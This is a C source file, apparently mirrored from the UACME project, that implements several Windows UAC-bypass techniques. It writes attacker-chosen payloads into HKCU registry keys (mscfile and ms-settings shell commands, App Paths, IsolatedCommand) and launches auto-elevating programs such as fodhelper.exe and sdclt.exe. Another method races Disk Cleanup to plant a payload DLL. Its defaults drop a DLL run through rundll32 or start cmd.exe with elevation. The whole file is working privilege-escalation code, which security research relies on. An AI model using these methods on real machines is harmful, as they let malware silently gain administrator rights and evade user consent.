mirror of https://github.com/hfiref0x/UACME.git
665 lines
18 KiB
C
665 lines
18 KiB
C
/*******************************************************************************
|
|
*
|
|
* (C) COPYRIGHT AUTHORS, 2016 - 2017
|
|
*
|
|
* TITLE: ENIGMA0X3.C
|
|
*
|
|
* VERSION: 2.76
|
|
*
|
|
* DATE: 12 July 2017
|
|
*
|
|
* Enigma0x3 autoelevation methods and everything based on the same
|
|
* ShellExecute related registry manipulations idea.
|
|
*
|
|
* Used by various malware.
|
|
*
|
|
* For description please visit original URL
|
|
* https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
|
|
* https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/
|
|
* https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
|
|
* https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
|
|
* https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/
|
|
*
|
|
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
|
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
|
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
|
* PARTICULAR PURPOSE.
|
|
*
|
|
*******************************************************************************/
|
|
#include "global.h"
|
|
|
|
UCM_ENIGMA0x3_CTX g_EnigmaThreadCtx;
|
|
|
|
/*
|
|
* ucmHijackShellCommandMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Overwrite Default value of mscfile shell command with your payload.
|
|
*
|
|
*/
|
|
BOOL ucmHijackShellCommandMethod(
|
|
_In_opt_ LPWSTR lpszPayload,
|
|
_In_ LPWSTR lpszTargetApp,
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize
|
|
)
|
|
{
|
|
BOOL bCond = FALSE, bResult = FALSE;
|
|
HKEY hKey = NULL;
|
|
LRESULT lResult;
|
|
LPWSTR lpBuffer = NULL;
|
|
SIZE_T sz;
|
|
WCHAR szBuffer[MAX_PATH * 2];
|
|
|
|
if (lpszTargetApp == NULL)
|
|
return FALSE;
|
|
|
|
do {
|
|
|
|
sz = 0;
|
|
if (lpszPayload == NULL) {
|
|
sz = 0x1000;
|
|
}
|
|
else {
|
|
sz = (1 + _strlen(lpszPayload)) * sizeof(WCHAR);
|
|
}
|
|
lpBuffer = supHeapAlloc(sz);
|
|
if (lpBuffer == NULL)
|
|
break;
|
|
|
|
if (lpszPayload != NULL) {
|
|
_strcpy(lpBuffer, lpszPayload);
|
|
}
|
|
else {
|
|
//no payload specified, use default fubuki, drop dll first as wdscore.dll to %temp%
|
|
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
|
|
_strcpy(szBuffer, g_ctx.szTempDirectory);
|
|
_strcat(szBuffer, WDSCORE_DLL);
|
|
//write proxy dll to disk
|
|
if (!supWriteBufferToFile(szBuffer, ProxyDll, ProxyDllSize)) {
|
|
break;
|
|
}
|
|
|
|
//now rundll it
|
|
_strcpy(lpBuffer, L"rundll32.exe ");
|
|
_strcat(lpBuffer, szBuffer);
|
|
_strcat(lpBuffer, L",WdsInitialize");
|
|
}
|
|
|
|
lResult = RegCreateKeyEx(
|
|
HKEY_CURRENT_USER,
|
|
L"Software\\Classes\\mscfile\\shell\\open\\command",
|
|
0,
|
|
NULL,
|
|
REG_OPTION_NON_VOLATILE,
|
|
MAXIMUM_ALLOWED,
|
|
NULL,
|
|
&hKey,
|
|
NULL);
|
|
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
//
|
|
// Set "Default" value as our payload.
|
|
//
|
|
sz = (1 + _strlen(lpBuffer)) * sizeof(WCHAR);
|
|
lResult = RegSetValueEx(
|
|
hKey,
|
|
TEXT(""),
|
|
0,
|
|
REG_SZ,
|
|
(BYTE*)lpBuffer,
|
|
(DWORD)sz);
|
|
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
bResult = supRunProcess(lpszTargetApp, NULL);
|
|
|
|
} while (bCond);
|
|
|
|
if (lpBuffer != NULL)
|
|
supHeapFree(lpBuffer);
|
|
|
|
if (hKey != NULL)
|
|
RegCloseKey(hKey);
|
|
|
|
return bResult;
|
|
}
|
|
|
|
/*
|
|
* ucmDiskCleanupWorkerThread
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Worker thread.
|
|
*
|
|
*/
|
|
DWORD ucmDiskCleanupWorkerThread(
|
|
LPVOID Parameter
|
|
)
|
|
{
|
|
BOOL bCond = FALSE;
|
|
NTSTATUS status;
|
|
HANDLE hDirectory = NULL, hEvent = NULL;
|
|
SIZE_T sz;
|
|
PVOID Buffer = NULL;
|
|
LPWSTR fp = NULL;
|
|
UCM_ENIGMA0x3_CTX *Context = (UCM_ENIGMA0x3_CTX *)Parameter;
|
|
FILE_NOTIFY_INFORMATION *pInfo = NULL;
|
|
UNICODE_STRING usName;
|
|
IO_STATUS_BLOCK IoStatusBlock;
|
|
OBJECT_ATTRIBUTES ObjectAttributes;
|
|
WCHAR szFileName[MAX_PATH * 2], szTempBuffer[MAX_PATH + 1];
|
|
|
|
do {
|
|
|
|
RtlSecureZeroMemory(&usName, sizeof(usName));
|
|
if (!RtlDosPathNameToNtPathName_U(Context->szTempDirectory, &usName, NULL, NULL))
|
|
break;
|
|
|
|
InitializeObjectAttributes(&ObjectAttributes, &usName, OBJ_CASE_INSENSITIVE, 0, NULL);
|
|
|
|
status = NtCreateFile(&hDirectory,
|
|
FILE_LIST_DIRECTORY | SYNCHRONIZE,
|
|
&ObjectAttributes,
|
|
&IoStatusBlock,
|
|
NULL,
|
|
FILE_OPEN_FOR_BACKUP_INTENT,
|
|
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
|
|
FILE_OPEN,
|
|
FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT,
|
|
NULL,
|
|
0);
|
|
|
|
if (!NT_SUCCESS(status))
|
|
break;
|
|
|
|
sz = 1024 * 1024;
|
|
Buffer = supHeapAlloc(sz);
|
|
if (Buffer == NULL)
|
|
break;
|
|
|
|
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, 0, NULL);
|
|
status = NtCreateEvent(&hEvent, EVENT_ALL_ACCESS, &ObjectAttributes, NotificationEvent, FALSE);
|
|
if (!NT_SUCCESS(status))
|
|
break;
|
|
|
|
do {
|
|
|
|
status = NtNotifyChangeDirectoryFile(hDirectory, hEvent, NULL, NULL,
|
|
&IoStatusBlock, Buffer, (ULONG)sz, FILE_NOTIFY_CHANGE_FILE_NAME, TRUE);
|
|
|
|
if (status == STATUS_PENDING)
|
|
NtWaitForSingleObject(hEvent, TRUE, NULL);
|
|
|
|
NtSetEvent(hEvent, NULL);
|
|
|
|
pInfo = (FILE_NOTIFY_INFORMATION*)Buffer;
|
|
for (;;) {
|
|
|
|
if (pInfo->Action == FILE_ACTION_ADDED) {
|
|
|
|
RtlSecureZeroMemory(szTempBuffer, sizeof(szTempBuffer));
|
|
_strncpy(szTempBuffer, MAX_PATH, pInfo->FileName, pInfo->FileNameLength / sizeof(WCHAR));
|
|
|
|
if ((szTempBuffer[8] == L'-') && //
|
|
(szTempBuffer[13] == L'-') && // If GUID form directory name.
|
|
(szTempBuffer[18] == L'-') && //
|
|
(szTempBuffer[23] == L'-'))
|
|
{
|
|
//If it is file after LogProvider.dll
|
|
fp = _filename(szTempBuffer);
|
|
if (_strcmpi(fp, PROVPROVIDER_DLL) == 0) {
|
|
RtlSecureZeroMemory(szFileName, sizeof(szFileName));
|
|
_strcpy(szFileName, Context->szTempDirectory);
|
|
fp = _filepath(szTempBuffer, szTempBuffer);
|
|
if (fp) {
|
|
_strcat(szFileName, fp); //slash on the end
|
|
_strcat(szFileName, LOGPROVIDER_DLL);
|
|
supWriteBufferToFile(szFileName, Context->PayloadDll, Context->PayloadDllSize);
|
|
}
|
|
status = STATUS_NO_SECRETS;
|
|
} //_strcmpi
|
|
} //guid test
|
|
} //Action
|
|
|
|
if (status == STATUS_NO_SECRETS)
|
|
break;
|
|
|
|
pInfo = (FILE_NOTIFY_INFORMATION*)(((LPBYTE)pInfo) + pInfo->NextEntryOffset);
|
|
if (pInfo->NextEntryOffset == 0)
|
|
break;
|
|
}
|
|
|
|
} while (NT_SUCCESS(status));
|
|
|
|
} while (bCond);
|
|
|
|
if (usName.Buffer) {
|
|
RtlFreeUnicodeString(&usName);
|
|
}
|
|
|
|
if (hDirectory != NULL)
|
|
NtClose(hDirectory);
|
|
|
|
if (hEvent)
|
|
NtClose(hEvent);
|
|
|
|
if (Buffer != NULL)
|
|
supHeapFree(Buffer);
|
|
|
|
return 0;
|
|
}
|
|
|
|
/*
|
|
* ucmDiskCleanupRaceCondition
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Use cleanmgr innovation implemented in Windows 10+.
|
|
* Cleanmgr.exe uses full copy of dismhost.exe from local %temp% directory.
|
|
* RC friendly.
|
|
* Warning: this method works with AlwaysNotify UAC level.
|
|
*
|
|
*/
|
|
BOOL ucmDiskCleanupRaceCondition(
|
|
_In_ PVOID PayloadDll,
|
|
_In_ DWORD PayloadDllSize
|
|
)
|
|
{
|
|
BOOL bResult = FALSE;
|
|
DWORD ti;
|
|
HANDLE hThread = NULL;
|
|
SHELLEXECUTEINFOW shinfo;
|
|
|
|
RtlSecureZeroMemory(&g_EnigmaThreadCtx, sizeof(g_EnigmaThreadCtx));
|
|
|
|
g_EnigmaThreadCtx.PayloadDll = PayloadDll;
|
|
g_EnigmaThreadCtx.PayloadDllSize = PayloadDllSize;
|
|
_strcpy(g_EnigmaThreadCtx.szTempDirectory, g_ctx.szTempDirectory);
|
|
|
|
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ucmDiskCleanupWorkerThread, &g_EnigmaThreadCtx, 0, &ti);
|
|
if (hThread) {
|
|
RtlSecureZeroMemory(&shinfo, sizeof(shinfo));
|
|
shinfo.cbSize = sizeof(shinfo);
|
|
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
|
|
shinfo.lpFile = SCHTASKS_EXE;
|
|
shinfo.lpParameters = T_SCHTASKS_CMD;
|
|
shinfo.nShow = SW_SHOW;
|
|
if (ShellExecuteExW(&shinfo)) {
|
|
if (shinfo.hProcess != NULL) {
|
|
WaitForSingleObject(shinfo.hProcess, INFINITE);
|
|
CloseHandle(shinfo.hProcess);
|
|
}
|
|
}
|
|
//
|
|
// Because cleanmgr.exe is slow we need to wait enough time until it will try to launch dismhost.exe
|
|
// It may happen very fast or really slow depending on resources usage.
|
|
// Well lets hope 10 min is enough.
|
|
//
|
|
if (WaitForSingleObject(hThread, 60000 * 10) == WAIT_OBJECT_0)
|
|
bResult = TRUE;
|
|
CloseHandle(hThread);
|
|
}
|
|
return bResult;
|
|
}
|
|
|
|
/*
|
|
* ucmAppPathMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Give target application our payload to execute because we can control App Path key data.
|
|
*
|
|
* E.g.
|
|
* lpszPayload = your.exe
|
|
* lpszAppPathTarget = control.exe
|
|
* lpszTargetApp = sdclt.exe
|
|
*
|
|
* Create key HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\<lpszAppPathTarget>
|
|
* Set default key value to <lpszPayload>
|
|
* Run <lpszTargetApp>
|
|
*
|
|
*/
|
|
BOOL ucmAppPathMethod(
|
|
_In_opt_ LPWSTR lpszPayload,
|
|
_In_ LPWSTR lpszAppPathTarget,
|
|
_In_ LPWSTR lpszTargetApp
|
|
)
|
|
{
|
|
BOOL bResult = FALSE, bCond = FALSE;
|
|
LRESULT lResult;
|
|
HKEY hKey = NULL;
|
|
LPWSTR lpKeyPath = NULL, lpBuffer = NULL;
|
|
SIZE_T sz;
|
|
WCHAR szBuffer[MAX_PATH + 1];
|
|
|
|
#ifndef _WIN64
|
|
PVOID OldValue = NULL;
|
|
#endif
|
|
|
|
if ((lpszTargetApp == NULL) || (lpszAppPathTarget == NULL))
|
|
return FALSE;
|
|
|
|
//
|
|
// If under Wow64 disable redirection.
|
|
// Some target applications may not exists in wow64 folder.
|
|
//
|
|
#ifndef _WIN64
|
|
if (g_ctx.IsWow64) {
|
|
if (!NT_SUCCESS(RtlWow64EnableFsRedirectionEx((PVOID)TRUE, &OldValue)))
|
|
return FALSE;
|
|
}
|
|
#endif
|
|
|
|
do {
|
|
|
|
sz = 0;
|
|
if (lpszPayload == NULL) {
|
|
sz = 0x1000;
|
|
}
|
|
else {
|
|
sz = (1 + _strlen(lpszPayload)) * sizeof(WCHAR);
|
|
}
|
|
lpBuffer = supHeapAlloc(sz);
|
|
if (lpBuffer == NULL)
|
|
break;
|
|
|
|
if (lpszPayload != NULL) {
|
|
_strcpy(lpBuffer, lpszPayload);
|
|
}
|
|
else {
|
|
//no payload specified, use default cmd.exe
|
|
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
|
|
supExpandEnvironmentStrings(T_DEFAULT_CMD, szBuffer, MAX_PATH);
|
|
_strcpy(lpBuffer, szBuffer);
|
|
}
|
|
|
|
sz = (1 + _strlen(lpszAppPathTarget)) * sizeof(WCHAR) + sizeof(T_APP_PATH);
|
|
lpKeyPath = supHeapAlloc(sz);
|
|
if (lpKeyPath == NULL)
|
|
break;
|
|
|
|
//
|
|
// Create App Path key for our target app.
|
|
//
|
|
_strcpy(lpKeyPath, T_APP_PATH);
|
|
_strcat(lpKeyPath, lpszAppPathTarget);
|
|
lResult = RegCreateKeyEx(HKEY_CURRENT_USER,
|
|
lpKeyPath, 0, NULL, REG_OPTION_NON_VOLATILE, MAXIMUM_ALLOWED, NULL, &hKey, NULL);
|
|
|
|
//
|
|
// Set "Default" value as our payload.
|
|
//
|
|
if (lResult == ERROR_SUCCESS) {
|
|
sz = (1 + _strlen(lpBuffer)) * sizeof(WCHAR);
|
|
lResult = RegSetValueEx(
|
|
hKey,
|
|
TEXT(""),
|
|
0,
|
|
REG_SZ,
|
|
(BYTE*)lpBuffer,
|
|
(DWORD)sz);
|
|
|
|
//
|
|
// Finally run target app.
|
|
//
|
|
if (lResult == ERROR_SUCCESS)
|
|
bResult = supRunProcess(lpszTargetApp, NULL);
|
|
|
|
RegCloseKey(hKey);
|
|
RegDeleteKey(HKEY_CURRENT_USER, lpKeyPath);
|
|
}
|
|
|
|
} while (bCond);
|
|
|
|
if (lpKeyPath != NULL)
|
|
supHeapFree(lpKeyPath);
|
|
|
|
if (lpBuffer != NULL)
|
|
supHeapFree(lpBuffer);
|
|
|
|
//
|
|
// Reenable wow64 redirection if under wow64.
|
|
//
|
|
#ifndef _WIN64
|
|
if (g_ctx.IsWow64) {
|
|
RtlWow64EnableFsRedirectionEx(OldValue, &OldValue);
|
|
}
|
|
#endif
|
|
|
|
return bResult;
|
|
}
|
|
|
|
/*
|
|
* ucmSdcltIsolatedCommandMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Use IsolatedCommand value of exefile shell command for your payload.
|
|
* Trigger: sdclt.exe with /kickoffelev param (force it to use ShellExecuteEx)
|
|
*
|
|
* Additional triggers:
|
|
* (they won't be included because they are basically all the same)
|
|
*
|
|
* rstrui.exe with /runonce param
|
|
* SystemSettingsAdminFlows.exe with PushButtonReset param
|
|
*
|
|
*/
|
|
BOOL ucmSdcltIsolatedCommandMethod(
|
|
_In_opt_ LPWSTR lpszPayload
|
|
)
|
|
{
|
|
BOOL bResult = FALSE, bCond = FALSE, bExist = FALSE;
|
|
DWORD cbData, cbOldData = 0;
|
|
SIZE_T sz = 0;
|
|
LRESULT lResult;
|
|
#ifndef _WIN64
|
|
PVOID OldValue;
|
|
#endif
|
|
LPWSTR lpBuffer = NULL;
|
|
LPWSTR lpTargetValue = NULL;
|
|
HKEY hKey = NULL;
|
|
|
|
WCHAR szBuffer[MAX_PATH + 1];
|
|
WCHAR szOldValue[MAX_PATH + 1];
|
|
|
|
#ifndef _WIN64
|
|
if (g_ctx.IsWow64) {
|
|
if (!NT_SUCCESS(RtlWow64EnableFsRedirectionEx((PVOID)TRUE, &OldValue)))
|
|
return FALSE;
|
|
}
|
|
#endif
|
|
|
|
do {
|
|
|
|
if (lpszPayload != NULL) {
|
|
lpBuffer = lpszPayload;
|
|
}
|
|
else {
|
|
//no payload specified, use default cmd.exe
|
|
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
|
|
supExpandEnvironmentStrings(T_DEFAULT_CMD, szBuffer, MAX_PATH);
|
|
lpBuffer = szBuffer;
|
|
}
|
|
|
|
sz = _strlen(lpBuffer);
|
|
|
|
lResult = RegCreateKeyEx(HKEY_CURRENT_USER, T_EXEFILE_SHELL, 0, NULL,
|
|
REG_OPTION_NON_VOLATILE, MAXIMUM_ALLOWED, NULL, &hKey, NULL);
|
|
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
//
|
|
// There is a fix of original concept in 16237 RS3.
|
|
// Bypass it.
|
|
//
|
|
if (g_ctx.dwBuildNumber >= 16237)
|
|
lpTargetValue = TEXT("");
|
|
else {
|
|
lpTargetValue = T_ISOLATEDCOMMAND;
|
|
|
|
//
|
|
// Save old value if exist.
|
|
//
|
|
cbOldData = MAX_PATH * 2;
|
|
lResult = RegQueryValueEx(hKey, lpTargetValue, 0, NULL,
|
|
(BYTE*)szOldValue, &cbOldData);
|
|
if (lResult == ERROR_SUCCESS)
|
|
bExist = TRUE;
|
|
}
|
|
|
|
cbData = (DWORD)((1 + sz) * sizeof(WCHAR));
|
|
|
|
lResult = RegSetValueEx(
|
|
hKey,
|
|
lpTargetValue,
|
|
0, REG_SZ,
|
|
(BYTE*)lpBuffer,
|
|
cbData);
|
|
|
|
if (lResult == ERROR_SUCCESS) {
|
|
_strcpy(szBuffer, g_ctx.szSystemDirectory);
|
|
_strcat(szBuffer, SDCLT_EXE);
|
|
bResult = supRunProcess(szBuffer, L"/KICKOFFELEV");
|
|
if (bExist == FALSE) {
|
|
//
|
|
// We created this value, remove it.
|
|
//
|
|
RegDeleteValue(hKey, lpTargetValue);
|
|
}
|
|
else {
|
|
//
|
|
// Value was before us, restore original.
|
|
//
|
|
RegSetValueEx(hKey, lpTargetValue, 0, REG_SZ,
|
|
(BYTE*)szOldValue, cbOldData);
|
|
}
|
|
}
|
|
|
|
} while (bCond);
|
|
|
|
if (hKey != NULL)
|
|
RegCloseKey(hKey);
|
|
|
|
#ifndef _WIN64
|
|
if (g_ctx.IsWow64) {
|
|
RtlWow64EnableFsRedirectionEx(OldValue, &OldValue);
|
|
}
|
|
#endif
|
|
|
|
return bResult;
|
|
}
|
|
|
|
/*
|
|
* ucmMsSettingsDelegateExecuteMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Overwrite Default value of ms-settings shell command with your payload.
|
|
* Enable it with DelegateExecute value.
|
|
*
|
|
* Trigger: fodhelper.exe
|
|
*
|
|
*/
|
|
BOOL ucmMsSettingsDelegateExecuteMethod(
|
|
_In_opt_ LPWSTR lpszPayload
|
|
)
|
|
{
|
|
BOOL bResult = FALSE, bCond = FALSE;
|
|
DWORD cbData;
|
|
SIZE_T sz = 0;
|
|
LRESULT lResult;
|
|
#ifndef _WIN64
|
|
PVOID OldValue;
|
|
#endif
|
|
LPWSTR lpBuffer = NULL;
|
|
HKEY hKey = NULL;
|
|
|
|
WCHAR szBuffer[MAX_PATH + 1];
|
|
WCHAR szKey[MAX_PATH + 1];
|
|
|
|
//
|
|
// Trigger application doesn't exist in wow64.
|
|
//
|
|
#ifndef _WIN64
|
|
if (g_ctx.IsWow64) {
|
|
if (!NT_SUCCESS(RtlWow64EnableFsRedirectionEx((PVOID)TRUE, &OldValue)))
|
|
return FALSE;
|
|
}
|
|
#endif
|
|
|
|
do {
|
|
|
|
if (lpszPayload != NULL) {
|
|
lpBuffer = lpszPayload;
|
|
}
|
|
else {
|
|
//no payload specified, use default cmd.exe
|
|
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
|
|
supExpandEnvironmentStrings(T_DEFAULT_CMD, szBuffer, MAX_PATH);
|
|
lpBuffer = szBuffer;
|
|
}
|
|
|
|
sz = _strlen(lpBuffer);
|
|
|
|
_strcpy(szKey, T_MSSETTINGS);
|
|
_strcat(szKey, T_SHELL_OPEN_COMMAND);
|
|
lResult = RegCreateKeyEx(HKEY_CURRENT_USER, szKey, 0, NULL,
|
|
REG_OPTION_NON_VOLATILE, MAXIMUM_ALLOWED, NULL, &hKey, NULL);
|
|
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
//
|
|
// Set empty DelegateExecute value.
|
|
//
|
|
szKey[0] = 0;
|
|
cbData = 0;
|
|
lResult = RegSetValueEx(
|
|
hKey,
|
|
T_DELEGATEEXECUTE,
|
|
0, REG_SZ,
|
|
(BYTE*)szKey,
|
|
cbData);
|
|
|
|
if (lResult != ERROR_SUCCESS)
|
|
break;
|
|
|
|
//
|
|
// Set "Default" value as our payload.
|
|
//
|
|
cbData = (DWORD)((1 + sz) * sizeof(WCHAR));
|
|
|
|
lResult = RegSetValueEx(
|
|
hKey,
|
|
TEXT(""),
|
|
0, REG_SZ,
|
|
(BYTE*)lpBuffer,
|
|
cbData);
|
|
|
|
if (lResult == ERROR_SUCCESS) {
|
|
_strcpy(szBuffer, g_ctx.szSystemDirectory);
|
|
_strcat(szBuffer, FODHELPER_EXE);
|
|
bResult = supRunProcess(szBuffer, NULL);
|
|
supDeleteKeyRecursive(HKEY_CURRENT_USER, T_MSSETTINGS);
|
|
}
|
|
|
|
} while (bCond);
|
|
|
|
if (hKey != NULL)
|
|
RegCloseKey(hKey);
|
|
|
|
#ifndef _WIN64
|
|
if (g_ctx.IsWow64) {
|
|
RtlWow64EnableFsRedirectionEx(OldValue, &OldValue);
|
|
}
|
|
#endif
|
|
|
|
return bResult;
|
|
}
|